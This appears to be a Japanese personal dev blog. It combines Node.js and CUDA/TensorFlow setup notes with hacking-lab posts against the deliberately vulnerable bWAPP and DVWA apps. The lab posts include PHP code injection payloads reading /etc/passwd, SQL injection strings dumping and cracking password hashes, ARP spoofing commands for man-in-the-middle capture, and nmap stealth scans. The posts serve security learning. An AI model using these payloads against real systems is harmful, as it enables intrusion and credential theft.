geek開発日誌

作成したポートフォリオを記録していく開発日誌です。

UbuntuにNode.jsをインストール

こんにちは。nakatatsuです。

今回は、UbuntuにNode.jsをインストールしていきます。
インストール後、npmコマンドで必要なパッケージをインストールします。

OSは「Ubuntu Desktop 18.04.5」です。


Node.jsのインストール

14.15.5を利用するため、ディストリビューションの安定版ではなく、
NodeSourceで管理されているPPAをインストールします。

まず、curlをインストールします。

sudo apt install -y curl


curlコマンドでNodeSourceからPPAをダウンロードします。
続いて、ダウンロードしたモジュールのビルドに必要になるため、build-essentialをインストールします。

curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt install -y build-essential


下記コマンドでPPAをインストールします。
インストール後は、バージョン確認をします。

sudo apt install -y nodejs
node -v
v14.15.5

npm -v
6.14.11


パッケージのインストール

dappsというフォルダを作成し、初期化処理を行います。
初期化処理を行うと、package.jsonが生成されます。
package.jsonjson形式で記載されたインストールしたパッケージを管理するための目録のような情報です。

mkdir dapps
cd dapps
npm init


react、nextパッケージをインストールします。
バージョンも指定しておきます。

npm install react@16.2.0 next@4.1.4


参考文献

参考文献です。 www.udemy.com

React.js & Next.js超入門

React.js & Next.js超入門

ハッキング・ラボ構築⑳(Webアプリのハッキング~bWAPP bee-box~)

こんにちは。nakatatsuです。

今回もハッキング・ラボを構築していきたいと思います。

参考書は
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」IPUSIRON
を使用します。

今回もWebアプリに対して、ハッキングを行います。

使用するのはbWAPP(buggy web application)です。
主にWebアプリのセキュリティを学習するためのWebアプリで、100を超える脆弱性を備えています。


bWAPP bee-boxのセットアップ

bWAPP bee-boxは、bWAPPがインストールされているUbuntuベースのLinuxです。
まず、以下のサイトからbee-box_v1.6.7.7zファイルをダウンロードします。
https://sourceforge.net/projects/bwapp/files/bee-box/


ファイルを展開します。
展開には7-Zipを使用しました。
https://sevenzip.osdn.jp/


ファイル変換に使用するため、VMWareをインストールします。
https://my.vmware.com/jp/web/vmware/downloads/info/slug/desktop_end_user_computing/vmware_workstation_player/16_0


以下のコマンドでvmxファイルからovfファイルを生成します。
第1引数がvmxファイルパス、第2引数がovfファイルパスです。

cd C:\Program Files (x86)\VMware\VMware Player\OVFTool
.\ovftool.exe "C:\Users\buffo\Downloads\bee-box\bee-box.vmx" "C:\Users\buffo\Downloads\bee-box\bee-box.ovf"


仮想アライアンスをインポートします。
名前はbee-box 1.6に変更しました。

また、仮想LANアダプターを「ホストオンリーアダプター」に設定します。

f:id:nakatatsu_com:20210117182343p:plain


起動して、デスクトップ画面を表示します。

f:id:nakatatsu_com:20210117182503p:plain


PHP Code Injection

IPアドレスを確認後、ブラウザで以下のURLにアクセスし、ログインします。
ここでは、IPアドレスは10.0.0.109です。
・Login: bee
・Password: bug
・Security level: low

f:id:nakatatsu_com:20210119012401p:plain


プルダウンメニューから「PHP Code Injection」を選択し、「Hack」ボタンを押します。

以下のURLにアクセスすると、helloと出力されることから、「message=」以降の文字列がWebページに反映されていると推測できます。

f:id:nakatatsu_com:20210119012554p:plain


PHPの設定内容を表示してみます。

URL: http://10.0.0.109/bWAPP/phpi.php?message=phpinfo()

f:id:nakatatsu_com:20210119012606p:plain


他にもLinuxカーネルのバージョンやユーザー名等を表示することができます。

Linuxカーネルのバージョン
URL: http://10.0.0.109/bWAPP/phpi.php?message=system('cat /proc/version');

・ユーザー名
URL: http://10.0.0.109/bWAPP/phpi.php?message=system('cat /etc/passwd');


まとめ

Webアプリに対してハッキングを行いました。
bWAPP bee-boxを導入し、PHP Code Injectionを行いました。


参考文献

参考文献です。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)

ハッキング・ラボ構築⑲(Webアプリのハッキング~DVWA~)

こんにちは。nakatatsuです。

今回もハッキング・ラボを構築していきたいと思います。

参考書は
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」IPUSIRON
を使用します。

今回はWebアプリに対して、ハッキングを行います。

使用するのはDVWA(Damn Valunerable Web App)です。
DVWAは脆弱性のあるWebアプリの1つで、PHPMySQLで構築されています。


DVWAのインストール

まず、以下のサイトからDVWAをKali Linuxにダウンロードします。
http://www.dvwa.co.uk/


rootユーザーで行います。
以下のコマンドで、/root/ディレクトリに移動し、解凍します。

cp ダウンロードしたディレクトリ/DVWA-master.zip /root
unzip DVWA-master.zip


Webサーバーとして公開するため、ファイルを移動し、権限を変更します。

cp -Rv /root/DVWA-master /var/www/html/
chmod -Rv 777 /var/www/html/DVWA-master/


configファイルを正しいファイル名に修正します。

cd /var/www/html/DVWA-master/config
mv config.inc.php.dist config.inc.php


ApacheMySQLを起動します。

cd
service apache2 start
service mysql start


MySQLに接続して、DB接続用のアカウントを登録します。
ここでは、IDはnakatatsu、パスワードはpasswordとしました。

mysql -u root -p
use mysql
GRANT ALL PRIVILEGES ON *.* 'nakatatsu'@'localhost' IDENTIFIED BY 'password';


以上を入力したら、「Ctr+c」キーで終了した後、mysqlを再起動します。

service mysql restart


MySQLに接続できるようにするために、config.inc.phpファイルを編集します。

vi /var/www/html/DVWA-master/config/config.inc.php
(編集前)
$_DVWA['db_server'] = '127.0.0.1';
$_DVWA['db_database'] = 'dvwa';
$_DVWA['db_user'] = 'dvwa';
$_DVWA['db_password'] = 'p@assw0rd';
(編集後)
$_DVWA['db_server'] = '127.0.0.1';
$_DVWA['db_database'] = 'dvwa';
$_DVWA['db_user'] = 'nakatatsu';
$_DVWA['db_password'] = 'password';


「Database Setup」画面にて、「Create / Reset Database」ボタンを押し、DVWAのデータベースを作成します。

最後に、Firefoxを起動して、http://localhost/DVWA-master/login.phpにアクセスします。
Usernameにadmin、Passwordにpasswordを入力して、ログインします。

以上でDVWAのインストールは完了です。


SQLインジェクション

SQLインジェクションとは、Webアプリが想定しないSQLを実行させて、DBを不正に操作する攻撃です。

「DVWA Security」を押して、セキュリティレベルをLowにし、「Submit」ボタンを押します。

最初に、SQLインジェクションを体験してみます。
メニューから「SQL Injection」を選びます。

「User ID」の入力欄に以下を入力してみます。
これは単純なSQLインジェクションのコードです。

1' OR 'a'='a


すると、次のような結果が得られ、単純なSQLインジェクションに対する脆弱性があることがわかります。

f:id:nakatatsu_com:20210114224003p:plain


次に、DVWAが用いているカラムを特定します。
データベース名は「dvwa」、テーブル名は「users」です。

' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #


すると、次のような結果が得られ、usersテーブルのカラム名がすべて判明しました。

f:id:nakatatsu_com:20210114224804p:plain


passwordというカラムがありますので、ここにパスワードが格納されていると推測できます。
そこで、以下を入力してみます。

' union select user, password from dvwa.users #


出力結果より、passwordに格納されているデータは、「パスワードのMD5ハッシュ値」と推測できます。

f:id:nakatatsu_com:20210114225031p:plain


このMD5ハッシュ値を解析します。
ここでは、MD5 Onlineを使用します。
https://www.md5online.org/md5-decrypt.html


ユーザー名がgordonbのものを解析してみます。
パスワードはabc123とわかりました。

f:id:nakatatsu_com:20210114225429p:plain


ユーザー名がadmin、smithyはMD5ハッシュ値が同じなのですが、
こちらは以下のようなエラーが出て、解析することはできませんでした。

f:id:nakatatsu_com:20210114225706p:plain


一旦ログアウトして、再度http://localhost/DVWA-master/にアクセスします。
解析できたgordonbでログインを試みます。
ログインに成功しました。

f:id:nakatatsu_com:20210114225945p:plain


まとめ

Webアプリに対してハッキングを行いました。
DVWAをインストールし、SQLインジェクションを行いました。


参考文献

参考文献です。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)

GPU環境構築②

こんにちは。nakatatsuです。

間があきましたが、GPU環境を構築していきたいと思います。

前回の記事は以下を参照してください。

nakatatsu-com.hatenablog.com


OSは「Ubuntu Desktop 18.04.4」、GPUは「GeForce GTX 1660Ti」です。

GPU環境構築の流れは以下の通りです。
NVIDIAドライバのインストール
②CUDAのインストール
③cuDNNのインストール

前回で①が完了したので、今回は②、③を行っていきます。


各種バージョン確認

TensorFlowは、CUDA、cuDNNのバージョンに依存しますので、
事前にインストールするバージョンを確認しておきます。

まず以下のサイトからインストールするCUDA、cuDNNのバージョンを確認します。
「テスト済みのビルド構成」のセクションを確認します。

www.tensorflow.org


今回はTensorFlow2.1.0をインストールしていきたいと考えていますので、
対応するバージョンはCUDA10.1、cuDNN7.6ということがわかります。


次に以下のサイトからNVIDIAドライバとCUDAのバージョンに問題ないかどうか確認します。
私の環境ではNVIDIAドライバはバージョン440なので、問題ないことが確認できました。

docs.nvidia.com


CUDAのインストール

以下のサイトからバージョン10.1の中で一番新しいものを選び、端末にダウンロードします。
ここでは「cuda-repo-ubuntu1804_10.1.243-1_amd64.deb」を選びました。

developer.download.nvidia.com


以下のコマンドを入力し、インストールを行います。

sudo dpkg -i cuda-repo-ubuntu1840_10.1.243-1_amd64.deb
sudo apt-key adv --fetch-keys http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub
sudo apt update
sudo apt install cuda-toolkit-10-1


インストール後、環境設定を行います。

sudo vim ~/.bashrc
export PATH=/usr/local/cuda-10.1/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-10.1/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}


再起動後、以下のコマンドを入力してバージョン等が表示されれば、CUDAのインストールに成功しています。

nvcc -V

f:id:nakatatsu_com:20200706124549p:plain


cuDNNのインストール

以下のサイトからdebファイルをダウンロードします。

種類は 以下の3つです。
「cuDNN Runtime Library for Ubuntu 18.04 (Deb)」
「cuDNN Developer Library for Ubuntu 18.04 (Deb)」
「cuDNN Code Samples and User Guide for Ubuntu 18.04 (Deb)」

なお事前に無料のアカウント登録が必要です。

https://developer.nvidia.com/rdp/cudnn-download

以下のコマンドでインストールを行います。

sudo dpkg -i libcudnn7_7.6.5.32-1+cuda10.1_amd64.deb
sudo dpkg -i libcudnn7-dev_7.6.5.32-1+cuda10.1_amd64.deb
sudo dpkg -i libcudnn7-doc_7.6.5.32-1+cuda10.1_amd64.deb


以下のコマンドでインストールテストを行い、「Test passed!」と表示されることを確認します。

cp -r /usr/src/cudnn_samples_v7/ $HOME
cd $HOME/cudnn_samples_v7/mnistCUDNNN
make clean && make
./mnistCUDNAA

f:id:nakatatsu_com:20200706124830p:plain


TensorFlowのインストール

TensorFlowをインストールしていきます。
なおPythonのバージョンは3.6.9です。

python3-dev、python3-pip、python3-venvをインストールします。
python3-dev、python3-pipは以下のサイトに指定があったので、インストールします。
python3-venvは仮想環境の構築のために、インストールします。

www.tensorflow.org


sudo apt install python3-venv python3-pip python3-venv


仮想環境を有効化します。

python3 -m venv venv36dl
. venv36dl/bin/activate


pipをアップグレードしておきます。

pip install --upgrade pip


バージョンを指定し、インストールします。

pip install tensorflow==2.1.0


以下のコマンドでインストールテストを行います。

python -c "import tensorflow as tf;print(tf.reduce_sum(tf.random.normal([1000, 1000])))"

f:id:nakatatsu_com:20200706130230p:plain


またTensorFlowがGPUを認識しているかをPythonインタプリタで確認します。
GPUの表記があれば認識しています。

python
from tensorflow.python.client import device_lib
device_lib.list_local_devices()

f:id:nakatatsu_com:20200706130524p:plain


補足

TensorFlowはバージョン1.1.5以前は、
tensorflow(CPU用)とtensorflow-gpuGPU用)に分かれていますが、
バージョン1.1.5より新しいものはtensorflowパッケージでGPUサポートも含まれています。

www.tensorflow.org


KerasはTensorFlowとは独立したパッケージとTensorFlowに統合されたパッケージの2種類あります。
ですが、最近開発者がTwitter上で「Keras=tf.keras」で発言していることもあり、
今後はTensorFlowに統合されたパッケージが主流になっていくだろうとのことです。

私もTensorFlowに統合されたパッケージを使っていく予定です。

www.atmarkit.co.jp


まとめ

今回もかなり苦戦しました。
進歩が著しい業界ということもあり、少し前の情報をそのまま使えないことが多いという印象でした。

完全な初心者の方はディープラーニングをやりたいと思っても、
この環境構築で躓いてしまう可能性が高いです。
もう少し簡単にしてほしいところです。


参考文献

参考文献です。


参考URL

参考URLです。

qiita.com

thr3a.hatenablog.com

ハッキング・ラボ構築⑱(有線LANのハッキング~ARPスプーフィング~)

こんにちは。nakatatsuです。

今回もハッキング・ラボを構築していきたいと思います。

参考書は
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」IPUSIRON
を使用します。

今回も有線LANに対して、ハッキングを行います。


ARPスプーフィング

キャプチャにはパッシブキャプチャとアクティブキャプチャがあります。

パッシブキャプチャとは、監視対象の端末を積極的に攻撃せずにパケットキャプチャする方法です。

アクティブキャプチャとは、監視対象のネットワークに人為的な通信を作り出したり、介入したりすることでパケットキャプチャする方法です。

今回はARPスプーフィングを使用して、アクティブキャプチャを行っていきます。

ARPスプーフィングとは、ARPの仕様を悪用して、ターゲット端末のARPテーブルを書き換える攻撃のことです。


次に示す3段階で攻撃します。

1.ターゲット端末に対してARPスプーフィングして、ルーターに届くべきパケットを攻撃端末に届くようにする

2.ルーターに対してARPスプーフィングして、ターゲット端末に届くべきパケットを攻撃端末に届くようにする

3.攻撃端末はターゲット端末やルーターから届いたパケットを転送する

これにより、ターゲット端末とルーターの間に攻撃端末が割り込んだ状況になります。
これを中間者攻撃と呼びます。

f:id:nakatatsu_com:20200522155834p:plain


・ネットワーク構成

攻撃端末のKali Linuxの設定は以下のように行います。

割り当て:ブリッジアダプター
アダプタータイプ:Intel PRO/1000 MT Desktop (82540EM)
プロミスキャスモード:すべて許可

ここでは、アダプター3に割り当てました。
アダプター1にはホストオンリーアダプター、アダプター2にはNATを既に割り当てていたので、これらを無効にします。

また、/etc/network/interfacesを編集します。

(編集前)
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.0.0.2
netmask 255.255.255.0
(編集後)
# The primary network interface
# allow-hotplug eth0
# iface eth0 inet static
# address 10.0.0.2
# netmask 255.255.255.0
allow-hotplug eth0
iface eth0 inet dhcp


ターゲット端末のWindows7の設定は以下のように行います。

割り当て:ブリッジアダプター
アダプタータイプ:Intel PRO/1000 MT Desktop (82540EM)
プロミスキャスモード:拒否

ここでは、アダプター2に割り当てました。
アダプター1にはホストオンリーアダプターを既に割り当てていたので、これを無効にします。


・Kali LinuxのIP転送機能有効化

以下のコマンドでIP転送機能を有効にします。

echo 1 > /proc/sys/net/ipv4/ip_forward


・ターゲット端末にARPスプーフィング

arpspoofを使うことでARPスプーフィングを実現できます。
dsniffというパッケージをインストールする必要があるので、事前にインストールしておきます。

apt install dsniff


以下のコマンドでターゲット端末に偽の情報を送ります。
ターゲット端末のIPアドレスは192.168.0.9、ルーターIPアドレスは192.168.0.1です。

arpspoof -i eth0 -t 192.168.0.9 192.168.0.1


arpspoofコマンド前後でARPテーブルが書き換えられていることが確認できます。

f:id:nakatatsu_com:20200522170349p:plain


ルーターARPスプーフィング

以下のコマンドでルーターに偽の情報を送ります。

arpspoof -i eth0 -t 192.168.0.1 192.168.0.9


・通信のキャプチャ

Kali Linux上のWiresharkで通信をキャプチャしてみます。

wireshark &


ターゲット端末のWindows7上でインターネットを巡回後、HTTP通信をキャプチャすることができました。

f:id:nakatatsu_com:20200522171428p:plain


終了時はarpspoofで「Ctrl+c」キーを押します。
偽の情報が書き込まれたARPテーブルは正常の値に戻ります。

f:id:nakatatsu_com:20200522171714p:plain


まとめ

有線LANに対してハッキングを行いました。
ARPスプーフィングを使用して、アクティブキャプチャを行いました。


参考文献

参考文献です。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)

ハッキング・ラボ構築⑰(有線LANのハッキング~ポートスキャン~)

こんにちは。nakatatsuです。

今回もハッキング・ラボを構築していきたいと思います。

参考書は
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」IPUSIRON
を使用します。

今回も有線LANに対して、ハッキングを行います。


Wiresharkでnmapのポートスキャンを解析

Wiresharkを使用してnmapのポートスキャンを解析します。

nmapには様々なスキャンが用意されており、前回は「TCPフルコネクトスキャン」、「TCP SYNスキャン」について取り上げました。

今回は「UDPスキャン」、「Pingスキャン」、「FINスキャン」、「Xmasスキャン」、「Nullスキャン」について見ていきます。

Wiresharkをバックグランドで起動します。
eth0(ホストオンリーネットワーク)を指定して、キャプチャを開始します。

wireshark &


UDPスキャン

空いているポートに対して、スキャンしてみます。

sudo nmap -sU -p 111 10.0.0.5


Wiresharkの「Statistics」→「Flow Graph」からフロー図を表示します。

f:id:nakatatsu_com:20200520114626p:plain


上記のように応答があると、ポートが開いていると判断できます。


閉じているポートに対して、スキャンしてみます。
ICMP到達不能エラーが返ってきたら、ポートが閉じていると判断できます。

sudo nmap -sU -p 2050 10.0.0.5

f:id:nakatatsu_com:20200520115210p:plain


フィルタリングされたポートに対して、スキャンしてみます。
フィルタリングされるため、ターゲット端末が応答を返すことはありません。

sudo nmap -sU -p 53 10.0.0.1

f:id:nakatatsu_com:20200520115941p:plain


UDPTCPと違い、パケットの到達性を保証しません。
また、応答なしの場合は数回試行するため時間がかかります。


Pingスキャン

Pingスキャンの実体はPingで疎通確認することです。nmapの仕様では、LANの端末を対象にした場合、ARP要求が用いられます。

空いているポートに対して、スキャンしてみます。
ブロードキャストにARP要求が送られ、ターゲット端末がARP応答を返しています。

sudo nmap -sn 10.0.0.1

f:id:nakatatsu_com:20200520120154p:plain


一方、WANの端末を対象にした場合、nmapは上記の動きに加えて別の動きをします。
これをLANで再現するには、以下のコマンドを実行します。
ブロードキャストにARP要求を送り、ARP応答があったとします。すると、ICMPエコー要求、ICMPタイムスタンプ要求、TCPパケットを送ります。ターゲット端末からICMPエコー応答、あるいはTCPパケットが返ってくれば稼働していると判断できます。

sudo nmap -sn 10.0.0.1 --send-ip

f:id:nakatatsu_com:20200520121245p:plain


pingコマンドはICMPエコー要求を送信します。
nmapコマンドはファイアウォールがあってICMPエコー応答を返さなくても、TCPパケットには応答を返す可能性があるので、pingコマンドより信頼性が高いといえます。


・FINスキャン

nmapには普通ではないパケットを送り、その反応からサービスが稼働しているか確認するスキャンがあります。
FINスキャン、Xmasスキャン、Nullスキャン等がそうです。
ここでは、FINスキャンについて見ていきます。

空いているポートに対して、スキャンしてみます。
FINパケットは通信終了要求に使われます。FINパケットを送信していますが、ポートが空いている場合は、応答がありません。

sudo nmap -sF -p 21 10.0.0.5

f:id:nakatatsu_com:20200520122631p:plain


閉じているポートに対して、スキャンしてみます。
FINパケットを送信したときにTCPパケット(RST/ACK)が返ってくれば、ポートは閉じていると判断できます。

sudo nmap -sF -p 24 10.0.0.5

f:id:nakatatsu_com:20200520123206p:plain


・Xmasスキャン

ここでは、Xmasスキャンについて見ていきます。

空いているポートに対して、スキャンしてみます。
TCPパケット(FIN/URG/PUSH)を送信しても、応答がありません。

sudo nmap -sX -p 21 10.0.0.5

f:id:nakatatsu_com:20200520123719p:plain


閉じているポートに対して、スキャンしてみます。
TCPパケット(RST/ACK)が返ってくれば、ポートは閉じていると判断できます。

sudo nmap -sX -p 24 10.0.0.5

f:id:nakatatsu_com:20200520123743p:plain


・Nullスキャン

ここでは、Nullスキャンについて見ていきます。

空いているポートに対して、スキャンしてみます。
Nullスキャンでは何のフラグも設定しないTCPパケットを送信します。
応答がないので、ポートは空いていると判断できます。

sudo nmap -sN -p 24 10.0.0.5

f:id:nakatatsu_com:20200520124002p:plain


閉じているポートに対して、スキャンしてみます。
TCPパケット(RST/ACK)が返ってくれば、ポートは閉じていると判断できます。

sudo nmap -sN -p 24 10.0.0.5

f:id:nakatatsu_com:20200520124040p:plain


まとめ

有線LANに対してハッキングを行いました。
Wiresharkを使用して、UDPスキャン、Pingスキャン、FINスキャン、Xmasスキャン、Nullスキャンの解析を行いました。


参考文献

参考文献です。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)

ハッキング・ラボ構築⑯(有線LANのハッキング~ポートスキャン~)

こんにちは。nakatatsuです。

今回もハッキング・ラボを構築していきたいと思います。

参考書は
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」IPUSIRON
を使用します。

今回は有線LANに対して、ハッキングを行います。


Wiresharkについて

WiresharkはLANに流れるデータを取得するソフトウェアです。
ネットワークに関するトラブルを解析したり、未知の通信を解析したりするのに使われます。

Kali LinuxにはデフォルトでWiresharkがインストールされています。


・起動方法

以下のコマンドで起動します。
kaliユーザーで行います。

wireshark

f:id:nakatatsu_com:20200519074435p:plain


次に、「Capture」→「Options」から、eth1(ここではNAT)の「Promiscuous」にチェックが入っていることを確認、選択した後、「Start」を押します。

f:id:nakatatsu_com:20200519081600p:plain


ここでエラーが出るので、指示の通り以下のコマンドを入力します。

sudo dpkg-reconfigure wireshark-common
sudo usermod -a -G wireshark kali


再度Wiresharkを立ち上げ、上記の操作を行います。

Firefoxを起動して、インターネットを巡回します。
すると、パケットが取得できていることがわかります。

f:id:nakatatsu_com:20200519075344p:plain


・キャプチャしたデータの保存

キャプチャしたデータはpcap形式やpcapng形式で保存します。

「Stop capturing packets」ボタンを押してキャプチャを止めてから、「File」→「Save as」から保存します。

ここでは、pcap形式で保存します。


Xplicoについて

Wiresharkは通信の流れやビット列等を分析するには向いていますが、画像やメール等を解析するにはXplicoが便利です。

Kali Linuxにインストールし、Xplicoを起動します。

apt install xplico -y
service apache2 restart
/etc/init.d/xplico start


http://localhost:9876にアクセスし、Xplicoを起動します。

f:id:nakatatsu_com:20200519081931p:plain


Usernameにxplico、Passwordにxplicoを入力してログインします。

「New Case」から【Uploading PCAP capture file/s】にチェックし、【Case name】(ここではtestcase)、【External reference】(ここでは空白)を入力し、「Create」ボタンを押します。

「Cases」から作成したCaseを選択し、「New Session」をクリックします。

【Session name】(ここではtestsession)を入力し、「Create」ボタンを押します。

f:id:nakatatsu_com:20200519082943p:plain


先程Wiresharkで保存したpcap形式のファイルを「Browse...」で選択し、「Upload」ボタンを押し、アップロードします。

アップロードすると、自動的に解析されて画面に解析結果が表示されます。

f:id:nakatatsu_com:20200519083251p:plain


「Web」→「Images」を選ぶと、キャプチャファイルに含まれていた画像データを表示することもできます。


Wiresharkでnmapのポートスキャンを解析

ここでは、Wiresharkを使用してnmapのポートスキャンを解析してみます。

nmapには様々なスキャンが用意されていますが、今回は「TCPフルコネクトスキャン」、「TCP SYNスキャン」について見ていきます。

f:id:nakatatsu_com:20200519083938p:plain


Wiresharkをバックグランドで起動します。
eth0(ホストオンリーネットワーク)を指定して、キャプチャを開始します。

wireshark &


TCPフルコネクトスキャン

空いているポートに対して、スキャンしてみます。

sudo nmap -sT -p 445 10.0.0.1


Wiresharkの「Statistics」→「Flow Graph」からフロー図を表示します。

f:id:nakatatsu_com:20200519085014p:plain


まず、SYNパケットが送信されます。
「ターゲット端末が起動」かつ「ポートが開いている」ならば、許可(SYN/ACK)パケットが返ってきます。 その後はACKパケットを送信してコネクションを張ろうとします。

しかし、ターゲット端末のサービスが「つながった」、「拒否した」というログを記録するので、ポートスキャンが露見してしまいます。


また、「ターゲット端末が起動」かつ「ポートが閉じている」なら拒否(RST/ACT)パケットが返ってきます。

sudo nmap -sT -p 24 10.0.0.5

f:id:nakatatsu_com:20200519085924p:plain


「ターゲット端末がダウン」または「フィルタリングされている」なら応答さえ返ってきません。

sudo nmap -sT -p 21 10.0.0.1

f:id:nakatatsu_com:20200519090111p:plain


このように、SYNパケットに対する応答によって、ポートが開いているか判断することができます。


TCP SYNスキャン

空いているポートに対して、スキャンしてみます。

sudo nmap -sS -p 445 10.0.0.1

f:id:nakatatsu_com:20200519090530p:plain


2番目のやり取りまではTCPフルコネクトスキャンと同じですが、この時点でターゲット端末のポートは開いていると判断し、 RSTパケットを送信します。
途中で通信を取りやめてしまうので、TCPフルコネクトスキャンと異なり、ログに記録されることもなく、ポートスキャンが露見することもありません。


まとめ

有線LANに対してハッキングを行いました。
Wireshark及びXplicoについて学びました。
Wiresharkを使用して、TCPフルコネクトスキャン、TCP SYNスキャンの解析を行いました。


参考文献

参考文献です。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)